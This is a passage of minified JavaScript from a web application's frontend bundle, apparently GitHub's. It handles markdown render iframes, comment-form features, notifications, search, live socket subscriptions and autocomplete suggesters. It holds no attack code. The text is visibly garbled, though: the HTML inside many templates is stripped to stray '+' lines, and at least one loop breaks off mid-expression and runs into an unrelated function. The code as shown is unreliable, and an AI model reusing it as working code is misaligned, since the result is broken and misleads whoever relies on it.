t=(0,U.c)("GEOJSON_AZURE_MAPS"),n=this.el.getAttribute("data-src"),o=this.el.getAttribute("data-enterprise"),r={...this.colorMode(),azure_maps_enabled:t,enterprise_enable:o},i=Object.entries(r).map(([a,l])=>`${a}=${l}`).join("&");return`${n}?${i}`}colorMode(){var t;let n=(t=document.querySelector("html"))==null?void 0:t.getAttribute("data-color-mode");return(n==="auto"||!n)&&(n=ba()),{color_mode:n}}setupModal(){const t=this.generateIframeCode("-fullscreen"),n=this.el.querySelector(".Box-body");this.el.querySelector(".js-full-screen-render").addEventListener("click",()=>{(0,fe.sY)(t,n)})}createDialog(){const t=this.generateIframeCode();return fe.dy`
    +
    + + +
    + +
    +
    +
    +
    + ${t} +
    `}generateIframeCode(t=""){const n=this.identifier+t,o=`${this.iframeUrl}#${n}`;return fe.dy` +
    + +
    + `}}s(nr,"EnrichableMarkdownRenderer"),(0,u.N7)(".js-render-needs-enrichment",function(e){const t=e;new nr(t).enrich()}),(0,c.on)("preview:toggle:off",".js-previewable-comment-form",function(e){const n=e.currentTarget.querySelector(".js-render-needs-enrichment"),o=n==null?void 0:n.querySelector(".js-render-enrichment-target");!o||(o.innerHTML="")}),(0,c.on)("preview:rendered",".js-previewable-comment-form",function(e){const n=e.currentTarget.querySelector(".js-render-needs-enrichment");n&&tr(n,!1)});const cu=null,yt=["is-render-pending","is-render-ready","is-render-loading","is-render-loaded"],wa=["is-render-ready","is-render-loading","is-render-loaded","is-render-failed","is-render-failed-fatally"],Ue=new WeakMap;function or(e){const t=Ue.get(e);t!=null&&(t.load=t.hello=null,t.helloTimer&&(clearTimeout(t.helloTimer),t.helloTimer=null),t.loadTimer&&(clearTimeout(t.loadTimer),t.loadTimer=null))}s(or,"resetTiming");function Je(e,t=""){var n;e.classList.remove(...yt),e.classList.add("is-render-failed");const o=La(t),r=(n=e.parentElement)==null?void 0:n.closest(".js-render-needs-enrichment");r?va(r,o):Ea(e,o),or(e)}s(Je,"renderFailed");function Ea(e,t){const n=e.querySelector(".render-viewer-error");n&&(n.remove(),e.classList.remove("render-container"),(0,fe.sY)(t,e))}s(Ea,"fileRenderError");function La(e){let t=fe.dy`

    Unable to render code block

    `;if(e!==""){const n=e.split(` +`);t=fe.dy`

    Error rendering embedded code

    +

    ${n.map(o=>fe.dy`${o}
    `)}

    `}return fe.dy`
    ${t}
    `}s(La,"renderError");function rr(e,t=!1){var n;!(0,le.Z)(e)||e.classList.contains("is-render-ready")||e.classList.contains("is-render-failed")||e.classList.contains("is-render-failed-fatally")||t&&!((n=Ue.get(e))==null?void 0:n.hello)||Je(e)}s(rr,"timeoutWatchdog"),(0,u.N7)(".js-render-target",function(e){var t;const n=e;n.classList.remove(...wa),n.style.height="auto",!((t=Ue.get(e))==null?void 0:t.load)&&(or(e),!Ue.get(e)&&(Ue.set(e,{load:Date.now(),hello:null,helloTimer:window.setTimeout(rr,1e4,e,!0),loadTimer:window.setTimeout(rr,45e3,e)}),e.classList.add("is-render-automatic","is-render-requested")))});function vt(e,t){e&&e.postMessage&&e.postMessage(JSON.stringify(t),"*")}s(vt,"postAsJson");function ja(e){let t=e.data;if(!t)return;if(typeof t=="string")try{t=JSON.parse(t)}catch{return}if(t.type!=="render"||typeof t.identity!="string")return;const n=t.identity;if(typeof t.body!="string")return;const o=t.body;let r=null;for(const w of document.querySelectorAll(".js-render-target"))if(w.getAttribute("data-identity")===n){r=w;break}if(!r||e.origin!==r.getAttribute("data-host"))return;const i=t.payload!=null?t.payload:void 0,a=r.querySelector("iframe"),l=a==null?void 0:a.contentWindow;function y(){const w=a==null?void 0:a.getAttribute("data-content");if(!w)return;const S={type:"render:cmd",body:{cmd:"code_rendering_service:data:ready","code_rendering_service:data:ready":{data:JSON.parse(w).data,width:r==null?void 0:r.getBoundingClientRect().width}}};vt(l,S)}switch(s(y,"postData"),o){case"hello":{const w=Ue.get(r)||{untimed:!0};w.hello=Date.now();const S={type:"render:cmd",body:{cmd:"ack",ack:!0}},R={type:"render:cmd",body:{cmd:"branding",branding:!1}};if(!l)return;vt(l,S),vt(l,R)}break;case"error":i?Je(r,i.error):Je(r);break;case"error:fatal":{Je(r),r.classList.add("is-render-failed-fatal");break}case"error:invalid":Je(r),r.classList.add("is-render-failed-invalid");break;case"loading":r.classList.remove(...yt),r.classList.add("is-render-loading");break;case"loaded":r.classList.remove(...yt),r.classList.add("is-render-loaded");break;case"ready":ya(r),r.classList.remove(...yt),r.classList.add("is-render-ready"),i&&typeof i.height=="number"&&(r.style.height=`${i.height}px`,location.hash!==""&&window.dispatchEvent(new HashChangeEvent("hashchange")));break;case"resize":i&&typeof i.height=="number"&&(r.style.height=`${i.height}px`);break;case"code_rendering_service:container:get_size":vt(l,{type:"render:cmd",body:{cmd:"code_rendering_service:container:size","code_rendering_service:container:size":{width:r==null?void 0:r.getBoundingClientRect().width}}});break;case"code_rendering_service:markdown:get_data":if(!l)return;y();break;default:break}}s(ja,"handleMessage"),window.addEventListener("message",ja),(0,C.AC)("form[data-replace-remote-form]",async function(e,t){e.classList.remove("is-error"),e.classList.add("is-loading");try{let n=e;const o=await t.html(),r=e.closest("[data-replace-remote-form-target]");if(r){const i=r.getAttribute("data-replace-remote-form-target");n=i?document.getElementById(i):r}n.replaceWith(o.html)}catch{e.classList.remove("is-loading"),e.classList.add("is-error")}}),PerformanceObserver&&(PerformanceObserver.supportedEntryTypes||[]).includes("longtask")&&new PerformanceObserver(function(t){const n=t.getEntries().map(({name:o,duration:r})=>({name:o,duration:r,url:window.location.href}));(0,he.b)({longTasks:n})}).observe({entryTypes:["longtask"]});const sr=new WeakMap;function Sa(e){return e.closest("markdown-toolbar").field}s(Sa,"getTextarea"),(0,c.on)("click",".js-markdown-link-button",async function({currentTarget:e}){const n=document.querySelector(".js-markdown-link-dialog").content.cloneNode(!0);if(!(n instanceof DocumentFragment))return;const o=await(0,Te.W)({content:n,labelledBy:"box-title"});e instanceof HTMLElement&&sr.set(o,Sa(e).selectionEnd)}),(0,c.on)("click",".js-markdown-link-insert",({currentTarget:e})=>{const t=e.closest("details-dialog"),n=document.querySelector(`#${e.getAttribute("data-for-textarea")}`),o=sr.get(t)||0,r=t.querySelector("#js-dialog-link-href").value,a=`[${t.querySelector("#js-dialog-link-text").value}](${r}) `,l=n.value.slice(0,o),y=n.value.slice(o);n.value=l+a+y,n.focus(),n.selectionStart=n.selectionEnd=o+a.length});var lu=f(17300);(0,c.on)("details-menu-select",".js-saved-reply-menu",function(e){if(!(e.target instanceof Element))return;const t=e.detail.relatedTarget.querySelector(".js-saved-reply-body");if(!t)return;const n=(t.textContent||"").trim(),r=e.target.closest(".js-previewable-comment-form").querySelector("textarea.js-comment-field");(0,Ee.Om)(r,n),setTimeout(()=>r.focus(),0)},{capture:!0}),(0,j.w4)("keydown",".js-saved-reply-shortcut-comment-field",function(e){(0,$e.EL)(e)==="Control+."&&(e.target.closest(".js-previewable-comment-form").querySelector(".js-saved-reply-container").setAttribute("open",""),e.preventDefault())}),(0,j.w4)("keydown",".js-saved-reply-filter-input",function(e){if(/^Control\+[1-9]$/.test((0,$e.EL)(e))){const n=e.target.closest(".js-saved-reply-container").querySelectorAll('[role="menuitem"]'),o=Number(e.key),r=n[o-1];r instanceof HTMLElement&&(r.click(),e.preventDefault())}else if(e.key==="Enter"){const n=e.target.closest(".js-saved-reply-container").querySelectorAll('[role="menuitem"]');n.length>0&&n[0]instanceof HTMLButtonElement&&n[0].click(),e.preventDefault()}});var Ta=f(29790),Aa=f(19218);function Ca(e,t){return e.querySelector(`#LC${t}`)}s(Ca,"queryLineElement");function wt(e,t,n,o){const r=(0,Ta.M9)(e,l=>Ca(t,l));if(!r)return;if(n){const l=(0,Ee.yb)(r.startContainer.textContent,r.startOffset);if(l===-1)return;r.setStart(r.startContainer,l)}if(o){const l=(0,Ee.yb)(r.endContainer.textContent,r.endOffset);if(l===-1)return;r.setEnd(r.endContainer,l)}const i=document.createElement("span"),a=["text-bold","hx_keyword-hl","rounded-2","d-inline-block"];i.classList.add(...a),(0,Aa.v)(r,i)}s(wt,"highlightRange");function ka(e,t){if(e.start.line!==e.end.line){const n={start:{line:e.start.line,column:e.start.column},end:{line:e.start.line,column:null}};wt(n,t,!0,!1);for(let r=e.start.line+1;r=0;o?n.setAttribute("aria-current","page"):n.removeAttribute("aria-current"),n.classList.toggle("selected",o)}}s(jn,"updateSelectedRepoTab"),document.addEventListener("pjax:end",jn),document.addEventListener(Se.QE.FRAME_UPDATE,jn),document.addEventListener(Se.QE.SUCCESS,jn);var ir=f(11190),Ra=f(27034),_a=f(32904);async function Pa(){return(0,C.AC)(".js-notification-shelf .js-notification-action form",async function(e,t){if(e.hasAttribute("data-redirect-to-inbox-on-submit")){await ar(t);const o=document.querySelector(".js-notifications-back-to-inbox");o&&o.click();return}(0,_a.a)(e,e),await ar(t)})}s(Pa,"remoteShelfActionForm");function Ia(){const e=new URLSearchParams(window.location.search),t=(0,ir.n)(e);if(t){const n=new URL(window.location.href,window.location.origin);return n.search=t.toString(),n.toString()}}s(Ia,"urlWithoutNotificationParameters");function Da(e){if(!(e instanceof Ra.Z))return;const t=(0,ir.I)();if(!t)return;const n=e.getAttribute("data-base-src");if(!n)return;const o=new URL(n,window.location.origin),r=new URLSearchParams(o.search);for(const[i,a]of Object.entries(t))typeof a=="string"&&r.set(i,a);o.search=r.toString(),e.setAttribute("src",o.toString())}s(Da,"loadShelfFromStoredParams");async function ar(e){try{await e.text()}catch{}}s(ar,"performRequest"),Pa();function cr(){const e=Ia();e&&(0,E.lO)(null,"",e)}s(cr,"removeNotificationParams"),cr(),document.addEventListener(Se.QE.SUCCESS,cr),(0,u.N7)(".js-notification-shelf-include-fragment",Da),(0,c.on)("submit",".js-mark-notification-form",async function(e){const t=e.currentTarget;e.preventDefault();try{await fetch(t.action,{method:t.method,body:new FormData(t),headers:{Accept:"application/json","X-Requested-With":"XMLHttpRequest"}})}catch{}});async function lr(){await me.C;const e=document.querySelector(".js-mark-notification-form");e instanceof HTMLFormElement&&(0,L.Bt)(e)}s(lr,"markNotificationAsRead"),document.addEventListener(Se.QE.SUCCESS,lr),lr();function Ha(e){return!!e.closest(".js-jump-to-field")}s(Ha,"isJumpToAvailable");function Sn(e,t){if(Ha(e))return;const n=document.querySelector(".js-site-search-form");document.querySelector(".js-site-search").classList.toggle("scoped-search",t);let o,r;t?(o=n.getAttribute("data-scoped-search-url"),r=e.getAttribute("data-scoped-placeholder")):(o=n.getAttribute("data-unscoped-search-url"),r=e.getAttribute("data-unscoped-placeholder")),n.setAttribute("action",o),e.setAttribute("placeholder",r)}s(Sn,"toggleSearchScope"),(0,j.w4)("keyup",".js-site-search-field",function(e){const t=e.target,n=t.value.length===0;n&&e.key==="Backspace"&&t.classList.contains("is-clearable")&&Sn(t,!1),n&&e.key==="Escape"&&Sn(t,!0),t.classList.toggle("is-clearable",n)}),(0,j.ZG)(".js-site-search-focus",function(e){const t=e.closest(".js-chromeless-input-container");t.classList.add("focus");function n(){t.classList.remove("focus"),e.value.length===0&&e.classList.contains("js-site-search-field")&&Sn(e,!0),e.removeEventListener("blur",n)}s(n,"blurHandler"),e.addEventListener("blur",n)}),(0,c.on)("submit",".js-site-search-form",function(e){if(!(e.target instanceof Element))return;const t=e.target.querySelector(".js-site-search-type-field");t.value=new URLSearchParams(window.location.search).get("type")||""});var Oa=f(54430);(0,u.N7)("textarea.js-size-to-fit",{constructor:HTMLTextAreaElement,subscribe:Oa.Z});var Tn=f(61161);(0,c.on)("click",".js-smoothscroll-anchor",function(e){const t=e.currentTarget;if(!(t instanceof HTMLAnchorElement))return;const n=(0,Tn.Kt)(document,t.hash);!n||(n.focus(),n.scrollIntoView({behavior:"smooth"}),e.preventDefault())});const Na=1e3,ur=new WeakMap,dr=document.querySelector("#snippet-clipboard-copy-button");async function Ba(e,t){const n=e.getAttribute("data-snippet-clipboard-copy-content");if(n===null||(e.removeAttribute("data-snippet-clipboard-copy-content"),!(dr instanceof HTMLTemplateElement)))return;const r=dr.content.cloneNode(!0).children[0];if(!(r instanceof HTMLElement))return;const i=r.children[0];if(!(i instanceof HTMLElement))return;i.setAttribute("value",n),document.addEventListener("selectionchange",()=>{const l=document.getSelection();if(l&&e.contains(l.anchorNode)){const y=l==null?void 0:l.toString();i.style.display=y.trim()===""?"inherit":"none"}},{signal:t});const a=e.querySelector("pre");if(a!==null){let l;a.addEventListener("scroll",()=>{l&&clearTimeout(l),i.style.display="none",l=setTimeout(()=>{i.style.display="inherit"},Na)},{signal:t})}e.appendChild(r)}s(Ba,"insertSnippetClipboardCopyButton"),(0,u.N7)("[data-snippet-clipboard-copy-content]",{constructor:HTMLElement,add(e){if(e.parentElement&&e.parentElement.classList.contains("js-no-snippet-clipboard-copy"))return;const t=new AbortController;ur.set(e,t),Ba(e,t.signal)}}),(0,u.N7)(".snippet-clipboard-content clipboard-copy",{constructor:HTMLElement,remove(e){const t=ur.get(e);t&&t.abort()}});function fr(e,t,n){mr(e,t),n&&e.classList.toggle("on");const o=Array.from(e.querySelectorAll(".js-social-updatable"),Me.x0);return Promise.all(o)}s(fr,"handleSocialResponse"),(0,C.AC)(".js-social-form",async function(e,t){var n,o;let r;const i=e.closest(".js-social-container"),a=e.classList.contains("js-deferred-toggler-target");try{r=await t.json(),i&&await fr(i,r.json.count,a)}catch(l){if(((n=l.response)==null?void 0:n.status)===409&&l.response.json.confirmationDialog){const y=l.response.json.confirmationDialog,w=document.querySelector(y.templateSelector),S=(o=e.querySelector(".js-confirm-csrf-token"))==null?void 0:o.value;if(w instanceof HTMLTemplateElement&&S){const R=new lt.R(w,{confirmUrl:e.action,confirmCsrfToken:S,...y.inputs||{}}),I=await(0,Te.W)({content:R});I.addEventListener("social-confirmation-form:success",async F=>{F instanceof CustomEvent&&i&&await fr(i,F.detail.count,a)}),I.addEventListener("social-confirmation-form:error",()=>{(0,T.v)()})}}else i&&!a&&i.classList.toggle("on"),(0,T.v)()}}),(0,C.AC)(".js-social-confirmation-form",async function(e,t){try{const n=await t.json();(0,c.f)(e,"social-confirmation-form:success",n.json)}catch{(0,c.f)(e,"social-confirmation-form:error")}});function mr(e,t){for(const n of e.querySelectorAll(".js-social-count")){n.textContent=t;const o=n.getAttribute("data-singular-suffix"),r=n.getAttribute("data-plural-suffix"),i=t==="1"?o:r;i&&n.setAttribute("aria-label",`${t} ${i}`)}}s(mr,"updateSocialCounts");var _e=f(21461);class hr extends _e.a2{constructor(t,n,o,r){super(t,()=>this.getUrlFromRefreshUrl(),o,r);this.refreshUrl=n}getUrlFromRefreshUrl(){return $a(this.refreshUrl)}}s(hr,"AliveSession");async function $a(e){const t=await Fa(e);return t&&t.url&&t.token?Ua(t.url,t.token):null}s($a,"fetchRefreshUrl");async function Fa(e){const t=await fetch(e,{headers:{Accept:"application/json"}});if(t.ok)return t.json();if(t.status===404)return null;throw new Error("fetch error")}s(Fa,"fetchJSON");async function Ua(e,t){const n=await fetch(e,{method:"POST",mode:"same-origin",headers:{"Scoped-CSRF-Token":t}});if(n.ok)return n.text();throw new Error("fetch error")}s(Ua,"post");const Et=[],Wa=3e4,za=0;let Lt=document.hidden,jt;function Ka(e){return e(Lt),Et.push(e),new M.w0(()=>{const t=Et.indexOf(e);t!==-1&&Et.splice(t,1)})}s(Ka,"addIdleStateListener"),document.addEventListener("visibilitychange",()=>{const e=document.hidden;jt!==void 0&&clearTimeout(jt),jt=setTimeout(()=>{if(e!==Lt){Lt=e,jt=void 0;for(const n of Et)n(Lt)}},e?Wa:za)});function Va(){return"SharedWorker"in window&&(0,$o.Z)("localStorage").getItem("bypassSharedWorker")!=="true"}s(Va,"isSharedWorkerSupported");function Xa(){var e,t;return(t=(e=document.head.querySelector("link[rel=shared-web-socket-src]"))==null?void 0:e.href)!=null?t:null}s(Xa,"workerSrc");function Ga(){var e,t;return(t=(e=document.head.querySelector("link[rel=shared-web-socket]"))==null?void 0:e.href)!=null?t:null}s(Ga,"socketUrl");function Za(){var e,t;return(t=(e=document.head.querySelector("link[rel=shared-web-socket]"))==null?void 0:e.getAttribute("data-refresh-url"))!=null?t:null}s(Za,"socketRefreshUrl");function Ja(){var e,t;return(t=(e=document.head.querySelector("link[rel=shared-web-socket]"))==null?void 0:e.getAttribute("data-session-id"))!=null?t:null}s(Ja,"sessionIdentifier");function Qa(e){return pr(e).map(t=>({subscriber:e,topic:t}))}s(Qa,"subscriptions");function pr(e){return(e.getAttribute("data-channel")||"").trim().split(/\s+/).map(_e.Zf.parse).filter(Ya)}s(pr,"channels");function Ya(e){return e!=null}s(Ya,"isPresent");function gr(e,{channel:t,type:n,data:o}){for(const r of e)r.dispatchEvent(new CustomEvent(`socket:${n}`,{bubbles:!1,cancelable:!1,detail:{name:t,data:o}}))}s(gr,"notify");class br{constructor(t,n,o,r,i){this.subscriptions=new _e.vk,this.presenceMetadata=new _e.ah,this.notifyPresenceDebouncedByChannel=new Map,this.notify=i,this.worker=new SharedWorker(t,`github-socket-worker-v2-${r}`),this.worker.port.onmessage=({data:a})=>this.receive(a),this.worker.port.postMessage({connect:{url:n,refreshUrl:o}})}subscribe(t){const n=this.subscriptions.add(...t);n.length&&this.worker.port.postMessage({subscribe:n});const o=new Set(n.map(i=>i.name)),r=t.reduce((i,a)=>{const l=a.topic.name;return(0,_e.A)(l)&&!o.has(l)&&i.add(l),i},new Set);r.size&&this.worker.port.postMessage({requestPresence:Array.from(r)})}unsubscribeAll(...t){const n=this.subscriptions.drain(...t);n.length&&this.worker.port.postMessage({unsubscribe:n});const o=this.presenceMetadata.removeSubscribers(t);this.sendPresenceMetadataUpdate(o)}updatePresenceMetadata(t){const n=new Set;for(const o of t)this.presenceMetadata.setMetadata(o),n.add(o.channelName);this.sendPresenceMetadataUpdate(n)}sendPresenceMetadataUpdate(t){if(!t.size)return;const n=[];for(const o of t)n.push({channelName:o,metadata:this.presenceMetadata.getChannelMetadata(o)});this.worker.port.postMessage({updatePresenceMetadata:n})}online(){this.worker.port.postMessage({online:!0})}offline(){this.worker.port.postMessage({online:!1})}hangup(){this.worker.port.postMessage({hangup:!0})}receive(t){const{channel:n}=t;if(t.type==="presence"){let o=this.notifyPresenceDebouncedByChannel.get(n);o||(o=(0,P.D)((r,i)=>{this.notify(r,i),this.notifyPresenceDebouncedByChannel.delete(n)},100),this.notifyPresenceDebouncedByChannel.set(n,o)),o(this.subscriptions.subscribers(n),t);return}this.notify(this.subscriptions.subscribers(n),t)}}s(br,"AliveSessionProxy");function ec(){const e=Xa();if(!e)return;const t=Ga();if(!t)return;const n=Za();if(!n)return;const o=Ja();if(!o)return;const i=s(()=>{if(Va())try{return new br(e,t,n,o,gr)}catch{}return new hr(t,n,!1,gr)},"createSession")(),a=(0,k.g)(w=>i.subscribe(w.flat())),l=(0,k.g)(w=>i.unsubscribeAll(...w)),y=(0,k.g)(w=>i.updatePresenceMetadata(w));(0,u.N7)(".js-socket-channel[data-channel]",{subscribe:w=>{const S=Qa(w),R=S.map(F=>F.topic.name).filter(F=>(0,_e.A)(F));let I={unsubscribe(){}};if(R.length){let F,X;const oe=s(()=>{const Q=[];F&&Q.push(F),X!==void 0&&Q.push({[_e.ZE]:X?1:0});for(const se of R)y({subscriber:w,channelName:se,metadata:Q})},"queueMetadataOrIdleChange");I=(0,M.qC)((0,M.RB)(w,"socket:set-presence-metadata",Q=>{const{detail:se}=Q;F=se,oe()}),Ka(Q=>{!(0,U.c)("PRESENCE_IDLE")||(X=Q,oe())}))}return a(S),I},remove:w=>l(w)}),window.addEventListener("online",()=>i.online()),window.addEventListener("offline",()=>i.offline()),window.addEventListener("pagehide",()=>{"hangup"in i&&i.hangup()})}s(ec,"connect"),(async()=>(await me.x,ec()))();const yr=new Map;function tc(e,t){const n=[];for(const o of e){const r=yr.get(o.name);r&&r.arrived>t&&n.push(r)}return n}s(tc,"stale");function nc(e,t){for(const n of e.querySelectorAll(".js-socket-channel[data-channel]"))for(const o of tc(pr(n),t))n.dispatchEvent(new CustomEvent("socket:message",{bubbles:!1,cancelable:!1,detail:{name:o.name,data:o.data,cached:!0}}))}s(nc,"dispatch");function oc(e){const{name:t,data:n,cached:o}=e.detail;if(o)return;const r={name:t,data:{...n},arrived:Date.now()};r.data.wait=0,yr.set(t,r)}s(oc,"store"),document.addEventListener("socket:message",oc,{capture:!0}),document.addEventListener("pjax:popstate",function(e){const t=e.target,n=e.detail.cachedAt;n&&setTimeout(()=>nc(t,n))}),(0,u.N7)("form.js-auto-replay-enforced-sso-request",{constructor:HTMLFormElement,initialize(e){(0,L.Bt)(e)}});var uu=f(41928);function vr(e,t,n){const o=e.getBoundingClientRect().height,r=t.getBoundingClientRect(),i=n.getBoundingClientRect();let a=i.top;a+r.height+10>=o&&(a=Math.max(o-r.height-10,0));let l=i.right;n.closest(".js-build-status-to-the-left")!=null&&(l=Math.max(i.left-r.width-10,0)),t.style.top=`${a}px`,t.style.left=`${l}px`,t.style.right="auto"}s(vr,"updateStatusPosition"),(0,c.on)("toggle",".js-build-status .js-dropdown-details",function(e){const t=e.currentTarget,n=t.querySelector(".js-status-dropdown-menu");if(!n)return;function o(){t.hasAttribute("open")||i()}s(o,"closeOnToggle");function r(a){n.contains(a.target)||i()}s(r,"closeOnScroll");function i(){t.removeAttribute("open"),n.classList.add("d-none"),t.appendChild(n),t.removeEventListener("toggle",o),window.removeEventListener("scroll",r)}s(i,"closeStatusPopover"),t.addEventListener("toggle",o),n.classList.contains("js-close-menu-on-scroll")&&window.addEventListener("scroll",r,{capture:!0}),n.classList.remove("d-none"),n.querySelector(".js-details-container").classList.add("open"),n.classList.contains("js-append-menu-to-body")&&(document.body.appendChild(n),vr(document.body,n,t))},{capture:!0});async function wr(e){const t=e.querySelector(".js-dropdown-details"),n=e.querySelector(".js-status-dropdown-menu")||e.closest(".js-status-dropdown-menu");if(!(n instanceof HTMLElement))return;const o=n.querySelector(".js-status-loader");if(!o)return;const r=n.querySelector(".js-status-loading"),i=n.querySelector(".js-status-error"),a=o.getAttribute("data-contents-url");r.classList.remove("d-none"),i.classList.add("d-none");let l;try{await(0,en.Z)(),l=await(0,pe.a)(document,a)}catch{r.classList.add("d-none"),i.classList.remove("d-none")}l&&(o.replaceWith(l),n.querySelector(".js-details-container").classList.add("open"),t&&n.classList.contains("js-append-menu-to-body")&&vr(document.body,n,t))}s(wr,"loadStatus"),(0,c.on)("click",".js-status-retry",({currentTarget:e})=>{wr(e)});function Er(e){const t=e.currentTarget;wr(t)}s(Er,"onMouseEnter"),(0,u.N7)(".js-build-status",{add(e){e.addEventListener("mouseenter",Er,{once:!0})},remove(e){e.removeEventListener("mouseenter",Er)}});var du=f(55898),rc=f(82841);(0,c.on)("click","button[data-sudo-required], summary[data-sudo-required]",Lr),(0,u.N7)("form[data-sudo-required]",{constructor:HTMLFormElement,subscribe:e=>(0,M.RB)(e,"submit",Lr)});async function Lr(e){const t=e.currentTarget;if(!(t instanceof HTMLElement))return;e.stopPropagation(),e.preventDefault(),await(0,rc.Z)()&&(t.removeAttribute("data-sudo-required"),t instanceof HTMLFormElement?(0,L.Bt)(t):t.click())}s(Lr,"checkSudo");const jr={"actor:":"ul.js-user-suggestions","user:":"ul.js-user-suggestions","operation:":"ul.js-operation-suggestions","org:":"ul.js-org-suggestions","action:":"ul.js-action-suggestions","repo:":"ul.js-repo-suggestions","country:":"ul.js-country-suggestions"};(0,u.N7)("text-expander[data-audit-url]",{subscribe:e=>(0,M.qC)((0,M.RB)(e,"text-expander-change",ic),(0,M.RB)(e,"text-expander-value",sc))});function sc(e){const t=e.detail;if(!Sr(t.key))return;const n=t.item.getAttribute("data-value");t.value=`${t.key}${n}`}s(sc,"onvalue");function ic(e){const{key:t,provide:n,text:o}=e.detail;if(!Sr(t))return;const i=e.target.getAttribute("data-audit-url");n(lc(i,t,o))}s(ic,"onchange");function ac(e,t){const n=t.toLowerCase(),o=s(r=>{const i=r.textContent.toLowerCase().trim(),a=(0,ge.EW)(i,n);return a>0?{score:a,text:i}:null},"key");return n?(0,Ge.W)(e,o,ge.qu):e}s(ac,"search");const cc=(0,qe.Z)(e=>[...e.children],{hash:e=>e.className});async function lc(e,t,n){const r=(await fc(e)).querySelector(uc(t));if(!r)return{matched:!1};const i=ac(cc(r),n).slice(0,5),a=r.cloneNode(!1);a.innerHTML="";for(const l of i)a.append(l);return{fragment:a,matched:i.length>0}}s(lc,"auditMenu");function Sr(e){return Object.getOwnPropertyNames(jr).includes(e)}s(Sr,"isActivationKey");function uc(e){const t=jr[e];if(!t)throw new Error(`Unknown audit log expander key: ${e}`);return t}s(uc,"audit_log_suggester_selector");async function dc(e){const t=await(0,pe.a)(document,e),n=document.createElement("div");return n.append(t),n}s(dc,"fetchMenu");const fc=(0,qe.Z)(dc);function mc(e){if(e.hasAttribute("data-use-colon-emoji"))return e.getAttribute("data-value");const t=e.firstElementChild;return t&&t.tagName==="G-EMOJI"&&!t.firstElementChild?t.textContent:e.getAttribute("data-value")}s(mc,"getValue");function hc(e,t){const n=` ${t.toLowerCase().replace(/_/g," ")}`,o=s(r=>{const i=r.getAttribute("data-emoji-name"),a=gc(pc(r),n);return a>0?{score:a,text:i}:null},"key");return(0,Ge.W)(e,o,ge.qu)}s(hc,"emoji_suggester_search");function pc(e){return` ${e.getAttribute("data-text").trim().toLowerCase().replace(/_/g," ")}`}s(pc,"emojiText");function gc(e,t){const n=e.indexOf(t);return n>-1?1e3-n:0}s(gc,"emojiScore"),(0,u.N7)("text-expander[data-emoji-url]",{subscribe:e=>(0,M.qC)((0,M.RB)(e,"text-expander-change",yc),(0,M.RB)(e,"text-expander-value",bc))});function bc(e){const t=e.detail;t.key===":"&&(t.value=mc(t.item))}s(bc,"emoji_suggester_onvalue");function yc(e){const{key:t,provide:n,text:o}=e.detail;if(t!==":")return;const i=e.target.getAttribute("data-emoji-url");n(vc(i,o))}s(yc,"emoji_suggester_onchange");async function vc(e,t){const[n,o]=await Ec(e),r=hc(o,t).slice(0,5);n.innerHTML="";for(const i of r)n.append(i);return{fragment:n,matched:r.length>0}}s(vc,"emojiMenu");async function wc(e){const n=(await(0,pe.a)(document,e)).firstElementChild;return[n,[...n.children]]}s(wc,"fetchEmoji");const Ec=(0,qe.Z)(wc);var Pe=f(38772);function Lc(e){return`${e.number} ${e.title.trim().toLowerCase()}`}s(Lc,"asText");function jc(e,t){if(!t)return e;const n=new RegExp(`\\b${Sc(t)}`),o=/^\d+$/.test(t)?i=>Tc(i,n):i=>(0,ge.EW)(i,t),r=s(i=>{const a=Lc(i),l=o(a);return l>0?{score:l,text:a}:null},"key");return(0,Ge.W)(e,r,ge.qu)}s(jc,"issue_suggester_search");function Sc(e){return e.replace(/[.*+?^${}()|[\]\\]/g,"\\$&")}s(Sc,"escapeRegExp");function Tc(e,t){const n=e.search(t);return n>-1?1e3-n:0}s(Tc,"issueNumberScore");function Ac(e,t,n){const o=s(i=>Pe.dy` +
      + ${i.map(r)} +
    + `,"itemsTemplate"),r=s(i=>{const a=i.type in n?(0,q.r)(document,n[i.type]):"";return Pe.dy` +
  • + ${a} + #${i.number} ${(0,Pe.Au)(i.title)} +
  • + `},"itemTemplate");(0,Pe.sY)(o(e),t)}s(Ac,"renderResults"),(0,u.N7)("text-expander[data-issue-url]",{subscribe:e=>{const t=[(0,M.RB)(e,"text-expander-change",kc),(0,M.RB)(e,"text-expander-value",Cc),(0,M.RB)(e,"keydown",Mc),(0,M.RB)(e,"click",xc)];return(0,M.qC)(...t)}});function Cc(e){const t=e.detail;if(t.key!=="#")return;const n=t.item.getAttribute("data-value");t.value=`#${n}`}s(Cc,"issue_suggester_onvalue");function kc(e){const{key:t,provide:n,text:o}=e.detail;if(t!=="#")return;if(o==="#"){An(e.target);return}const i=e.target.getAttribute("data-issue-url");n(qc(i,o))}s(kc,"issue_suggester_onchange");function An(e){if(!e)return;const t=e.closest("text-expander");t&&t.dismiss()}s(An,"hideSuggestions");function xc(e){An(e.target)}s(xc,"issue_suggester_onclick");function Mc(e){const t=["ArrowRight","ArrowLeft"],{key:n}=e;t.indexOf(n)<0||An(e.target)}s(Mc,"issue_suggester_onkeydown");async function qc(e,t){const n=await Rc(e),o=document.createElement("div"),r=jc(n.suggestions,t).slice(0,5);return Ac(r,o,n.icons),{fragment:o.firstElementChild,matched:r.length>0}}s(qc,"issueMenu");const Rc=(0,qe.Z)(async function(e){const t=await self.fetch(e,{headers:{"X-Requested-With":"XMLHttpRequest",Accept:"application/json"}});if(!t.ok){const n=new Error,o=t.statusText?` ${t.statusText}`:"";throw n.message=`HTTP ${t.status}${o}`,n}return t.json()});function _c(e){return e.description?`${e.name} ${e.description}`.trim().toLowerCase():`${e.login} ${e.name}`.trim().toLowerCase()}s(_c,"mention_suggester_asText");function Pc(e,t){if(!t)return e;const n=Dc(t),o=s(r=>{const i=_c(r),a=n(i,r.participant);return a>0?{score:a,text:i}:null},"key");return(0,Ge.W)(e,o,ge.qu)}s(Pc,"mention_suggester_search");function Ic(e,t){const n=s(r=>Pe.dy` +
      + ${r.map(o)} +
    + `,"itemsTemplate"),o=s(r=>{const i=r.type==="user"?r.login:r.name,a=r.type==="user"?r.name:r.description;return Pe.dy` +
  • + ${i} + ${a} +
